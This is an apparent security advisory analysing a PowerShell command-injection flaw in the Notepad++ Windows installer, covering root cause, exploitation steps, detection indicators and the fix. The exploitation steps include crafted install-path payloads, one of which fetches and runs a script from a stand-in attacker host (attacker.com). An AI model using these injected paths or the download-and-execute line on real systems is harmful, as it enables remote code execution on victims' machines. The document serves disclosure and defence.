CVE-2026-73250: 
Notepad++ vulnerability analysis and mitigation

CVE-2026-73250 is an install-time PowerShell command injection vulnerability in Notepad++ affecting the Windows 11 x64 and ARM64 installers prior to version 8.9.7. The flaw allows an attacker who can influence the installation directory path to execute arbitrary commands in the installer's security context when the context menu component is registered. It was disclosed on July 14, 2026 via a GitHub Security Advisory and assigned a CVSS v4.0 base score of 5.4 (Medium) (GitHub Advisory, Feedly).

The root cause is improper neutralization of special elements in a command string (CWE-77: Command Injection). In PowerEditor/installer/nppSetup.nsi, the RegisterMSIX function constructs a PowerShell -Command string by directly embedding the NSIS variable $INSTDIR (the installation directory) inside a double-quoted PowerShell string passed to nsExec::ExecToLog. Because PowerShell evaluates subexpression syntax such as $() within double-quoted strings, an attacker-controlled installation path containing such syntax (e.g., C:\Users\Public\npp-$(calc)) causes the embedded expression to execute when the Windows 11 context menu MSIX package is registered. Exploitation requires that the attacker control or influence the installation directory and that the context menu component be selected (which is the default) (GitHub Advisory, Fix Commit).

Successful exploitation results in arbitrary command execution during the Notepad++ installation process, running in the security context of the installer (which may be elevated). This can lead to full compromise of confidentiality, integrity, and availability of the affected system, as an attacker could execute malicious payloads, install backdoors, or escalate privileges depending on the installer's privilege level. The impact is limited to the installation phase and requires local influence over the installation directory path (GitHub Advisory).

No public exploit code or in-the-wild exploitation has been reported as of the disclosure date. The EPSS score is approximately 0.00129 (low probability of exploitation), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. Exploitation requires low privileges and active user interaction (the victim must run the installer with an attacker-influenced path), and the attack complexity is low but requires specific preconditions (Windows 11 x64/ARM64, context menu component selected, attacker-controlled install path) (Feedly, GitHub Advisory).

1. Precondition Setup: Identify a scenario where the attacker can influence the Notepad++ installation directory — for example, via a malicious installer wrapper, social engineering, or a software deployment pipeline that allows user-specified install paths on a Windows 11 x64 or ARM64 system.
2. Craft Malicious Path: Prepare an installation directory path containing a PowerShell subexpression payload, such as C:\Users\Public\npp-$(Start-Process calc.exe) or a more harmful command like C:\Users\Public\npp-$(IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')).
3. Trigger Installation: Cause the victim to run the Notepad++ installer (v8.9.6.4 or earlier) with the crafted installation path, either by pre-configuring the path or by passing it as an NSIS command-line argument (e.g., /D=C:\Users\Public\npp-$(malicious_command)).
4. Context Menu Registration: Ensure the Windows 11 context menu component is selected (it is selected by default). When the installer reaches the RegisterMSIX function, it calls PowerShell with -Command containing the unsanitized $INSTDIR value.
5. Command Execution: PowerShell evaluates the subexpression syntax within the double-quoted string, executing the attacker's payload in the installer's security context, which may be elevated if the installer was run as administrator (GitHub Advisory, Fix Commit).

• Process: Unexpected child processes spawned by the Notepad++ installer process (e.g., powershell.exe launching calc.exe, cmd.exe, or network-connected processes such as curl.exe or mshta.exe) during installation.
• Logs: Windows Event Logs (Security/Application) showing PowerShell command execution with unusual arguments containing $() subexpressions or encoded commands, originating from the NSIS installer process.
• Network: Outbound network connections from powershell.exe initiated during the Notepad++ installation phase, particularly to external or unexpected IP addresses.
• File System: Unexpected files dropped in the installation directory or temp folders (e.g., scripts, executables, or web shells) during or immediately after Notepad++ installation.

Upgrade to Notepad++ version 8.9.7 or later, which resolves the issue by passing $INSTDIR as an environment variable (NPP_INSTDIR) via kernel32::SetEnvironmentVariableW and referencing it as $env:NPP_INSTDIR in the PowerShell command, preventing subexpression injection. No configuration-based workaround is available for unpatched versions; however, users can mitigate risk by always using the default installation directory and avoiding installer execution with attacker-influenced paths. Organizations deploying Notepad++ via software management tools should ensure they are distributing v8.9.7 or later (GitHub Advisory, v8.9.7 Release, Fix Commit).

The vulnerability was discovered and reported by researcher P4P3R-HAK and was published by Notepad++ maintainer donho via a GitHub Security Advisory rated Moderate. The fix was committed promptly and included in the v8.9.7 release on July 14, 2026. No significant broader media coverage or notable community controversy has been identified beyond standard vulnerability database indexing (GitHub Advisory, v8.9.7 Release).